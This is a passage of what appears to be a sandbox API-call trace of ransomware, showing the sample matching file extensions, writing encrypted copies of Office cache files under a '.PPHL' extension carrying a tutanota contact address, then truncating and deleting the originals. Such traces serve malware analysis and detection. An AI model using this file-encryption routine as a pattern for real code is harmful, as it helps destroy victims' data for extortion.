(lpString=".ppt") returned 4 [0060.758] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0060.758] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0060.758] lstrlenW (lpString=".zip") returned 4 [0060.758] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0060.758] lstrlenW (lpString=".rar") returned 4 [0060.758] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0060.758] lstrlenW (lpString=".bz2") returned 4 [0060.758] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0060.758] lstrlenW (lpString=".7z") returned 3 [0060.759] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0060.759] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0060.759] lstrlenW (lpString=".dbf") returned 4 [0060.759] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0060.759] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0060.759] lstrlenW (lpString=".1cd") returned 4 [0060.759] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0060.759] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0060.759] lstrlenW (lpString=".jpg") returned 4 [0060.759] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0060.759] lstrcmpiW (lpString1=".xml", lpString2=".PPHL") returned 1 [0060.759] lstrlenW (lpString="OneNoteMUI.xml") returned 14 [0060.759] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0060.760] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2dfff1c | out: lpFileSize=0x2dfff1c*=1606) returned 1 [0060.760] CloseHandle (hObject=0x1ac) returned 1 [0060.760] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml")) returned 0x2020 [0060.760] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0060.760] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0060.760] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0060.761] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0060.761] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0060.763] GetLastError () returned 0x0 [0060.763] ReadFile (in: hFile=0x1ac, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dffed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2dffed4*=0x646, lpOverlapped=0x0) returned 1 [0060.765] WriteFile (in: hFile=0x194, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x2dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2dffc9c*=0x650, lpOverlapped=0x0) returned 1 [0060.766] ReadFile (in: hFile=0x1ac, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dffed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2dffed4*=0x0, lpOverlapped=0x0) returned 1 [0060.766] WriteFile (in: hFile=0x194, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2dffc9c*=0xf0, lpOverlapped=0x0) returned 1 [0060.766] SetEndOfFile (hFile=0x194) returned 1 [0060.766] CloseHandle (hObject=0x194) returned 1 [0060.769] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0060.769] SetEndOfFile (hFile=0x1ac) returned 1 [0060.770] CloseHandle (hObject=0x1ac) returned 1 [0060.770] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0060.770] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml")) returned 1 [0060.770] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0060.770] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0060.770] lstrlenW (lpString=".doc") returned 4 [0060.770] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0060.770] lstrlenW (lpString=".docx") returned 5 [0060.770] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0060.770] lstrlenW (lpString=".pdf") returned 4 [0060.770] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0060.770] lstrlenW (lpString=".xls") returned 4 [0060.770] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0060.771] lstrlenW (lpString=".xlsx") returned 5 [0060.771] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0060.771] lstrlenW (lpString=".ppt") returned 4 [0060.771] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0060.771] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0060.771] lstrlenW (lpString=".zip") returned 4 [0060.771] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0060.771] lstrlenW (lpString=".rar") returned 4 [0060.771] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0060.771] lstrlenW (lpString=".bz2") returned 4 [0060.771] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0060.771] lstrlenW (lpString=".7z") returned 3 [0060.771] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0060.771] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0060.771] lstrlenW (lpString=".dbf") returned 4 [0060.771] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0060.771] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0060.771] lstrlenW (lpString=".1cd") returned 4 [0060.771] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0060.771] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0060.771] lstrlenW (lpString=".jpg") returned 4 [0060.771] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0060.771] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0060.771] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0060.771] lstrlenW (lpString=".doc") returned 4 [0060.771] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0060.771] lstrlenW (lpString=".docx") returned 5 [0060.771] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0060.771] lstrlenW (lpString=".pdf") returned 4 [0060.771] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0060.771] lstrlenW (lpString=".xls") returned 4 [0060.771] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0060.772] lstrlenW (lpString=".xlsx") returned 5 [0060.772] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0060.772] lstrlenW (lpString=".ppt") returned 4 [0060.772] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0060.772] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0060.772] lstrlenW (lpString=".zip") returned 4 [0060.772] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0060.772] lstrlenW (lpString=".rar") returned 4 [0060.772] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0060.772] lstrlenW (lpString=".bz2") returned 4 [0060.772] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0060.772] lstrlenW (lpString=".7z") returned 3 [0060.772] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0060.772] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0060.772] lstrlenW (lpString=".dbf") returned 4 [0060.772] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0060.772] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0060.772] lstrlenW (lpString=".1cd") returned 4 [0060.772] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0060.772] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0060.772] lstrlenW (lpString=".jpg") returned 4 [0060.772] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0060.772] lstrcmpiW (lpString1=".xml", lpString2=".PPHL") returned 1 [0060.772] lstrlenW (lpString="Setup.xml") returned 9 [0060.772] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0061.132] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2dfff1c | out: lpFileSize=0x2dfff1c*=1988) returned 1 [0061.132] CloseHandle (hObject=0x1d0) returned 1 [0061.141] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0061.141] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0061.141] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0061.141] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.141] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.142] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0061.149] GetLastError () returned 0x0 [0061.149] ReadFile (in: hFile=0x1d0, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dffed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2dffed4*=0x7c4, lpOverlapped=0x0) returned 1 [0061.151] WriteFile (in: hFile=0x1d4, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x7d0, lpNumberOfBytesWritten=0x2dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2dffc9c*=0x7d0, lpOverlapped=0x0) returned 1 [0061.152] ReadFile (in: hFile=0x1d0, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dffed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2dffed4*=0x0, lpOverlapped=0x0) returned 1 [0061.152] WriteFile (in: hFile=0x1d4, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2dffc9c*=0xe6, lpOverlapped=0x0) returned 1 [0061.152] SetEndOfFile (hFile=0x1d4) returned 1 [0061.152] CloseHandle (hObject=0x1d4) returned 1 [0061.155] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.155] SetEndOfFile (hFile=0x1d0) returned 1 [0061.156] CloseHandle (hObject=0x1d0) returned 1 [0061.156] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0061.156] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0061.156] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.156] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.156] lstrlenW (lpString=".doc") returned 4 [0061.156] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0061.156] lstrlenW (lpString=".docx") returned 5 [0061.156] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0061.156] lstrlenW (lpString=".pdf") returned 4 [0061.156] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0061.156] lstrlenW (lpString=".xls") returned 4 [0061.156] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0061.156] lstrlenW (lpString=".xlsx") returned 5 [0061.157] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0061.157] lstrlenW (lpString=".ppt") returned 4 [0061.157] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0061.157] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.157] lstrlenW (lpString=".zip") returned 4 [0061.157] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0061.157] lstrlenW (lpString=".rar") returned 4 [0061.157] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0061.157] lstrlenW (lpString=".bz2") returned 4 [0061.157] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0061.157] lstrlenW (lpString=".7z") returned 3 [0061.157] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0061.157] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.157] lstrlenW (lpString=".dbf") returned 4 [0061.157] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0061.157] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.157] lstrlenW (lpString=".1cd") returned 4 [0061.157] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0061.157] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.157] lstrlenW (lpString=".jpg") returned 4 [0061.157] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0061.157] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.157] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.157] lstrlenW (lpString=".doc") returned 4 [0061.157] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0061.157] lstrlenW (lpString=".docx") returned 5 [0061.157] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0061.157] lstrlenW (lpString=".pdf") returned 4 [0061.157] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0061.157] lstrlenW (lpString=".xls") returned 4 [0061.157] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0061.157] lstrlenW (lpString=".xlsx") returned 5 [0061.157] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0061.158] lstrlenW (lpString=".ppt") returned 4 [0061.158] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0061.158] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.158] lstrlenW (lpString=".zip") returned 4 [0061.158] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0061.158] lstrlenW (lpString=".rar") returned 4 [0061.158] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0061.158] lstrlenW (lpString=".bz2") returned 4 [0061.158] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0061.158] lstrlenW (lpString=".7z") returned 3 [0061.158] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0061.158] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.158] lstrlenW (lpString=".dbf") returned 4 [0061.158] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0061.158] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.158] lstrlenW (lpString=".1cd") returned 4 [0061.158] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0061.158] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.158] lstrlenW (lpString=".jpg") returned 4 [0061.158] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0061.158] lstrcmpiW (lpString1=".xml", lpString2=".PPHL") returned 1 [0061.158] lstrlenW (lpString="OfficeMUI.xml") returned 13 [0061.158] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0061.158] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2dfff1c | out: lpFileSize=0x2dfff1c*=5557) returned 1 [0061.159] CloseHandle (hObject=0x1d0) returned 1 [0061.159] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml")) returned 0x2020 [0061.159] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0061.159] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0061.159] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.159] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.159] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0061.159] GetLastError () returned 0x0 [0061.159] ReadFile (in: hFile=0x1d0, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dffed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2dffed4*=0x15b5, lpOverlapped=0x0) returned 1 [0061.161] WriteFile (in: hFile=0x1d4, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x15c0, lpNumberOfBytesWritten=0x2dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2dffc9c*=0x15c0, lpOverlapped=0x0) returned 1 [0061.162] ReadFile (in: hFile=0x1d0, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dffed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2dffed4*=0x0, lpOverlapped=0x0) returned 1 [0061.162] WriteFile (in: hFile=0x1d4, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2dffc9c*=0xee, lpOverlapped=0x0) returned 1 [0061.162] SetEndOfFile (hFile=0x1d4) returned 1 [0061.162] CloseHandle (hObject=0x1d4) returned 1 [0061.163] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.163] SetEndOfFile (hFile=0x1d0) returned 1 [0061.164] CloseHandle (hObject=0x1d0) returned 1 [0061.164] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0061.165] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml")) returned 1 [0061.165] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0061.165] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0061.165] lstrlenW (lpString=".doc") returned 4 [0061.165] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0061.165] lstrlenW (lpString=".docx") returned 5 [0061.165] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0061.165] lstrlenW (lpString=".pdf") returned 4 [0061.165] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0061.165] lstrlenW (lpString=".xls") returned 4 [0061.165] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0061.165] lstrlenW (lpString=".xlsx") returned 5 [0061.165] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0061.165] lstrlenW (lpString=".ppt") returned 4 [0061.165] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0061.165] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0061.165] lstrlenW (lpString=".zip") returned 4 [0061.165] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0061.165] lstrlenW (lpString=".rar") returned 4 [0061.165] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0061.166] lstrlenW (lpString=".bz2") returned 4 [0061.166] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0061.166] lstrlenW (lpString=".7z") returned 3 [0061.166] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0061.166] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0061.166] lstrlenW (lpString=".dbf") returned 4 [0061.166] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0061.166] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0061.166] lstrlenW (lpString=".1cd") returned 4 [0061.166] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0061.166] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0061.166] lstrlenW (lpString=".jpg") returned 4 [0061.166] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0061.166] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0061.166] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0061.166] lstrlenW (lpString=".doc") returned 4 [0061.166] lstrcmpiW 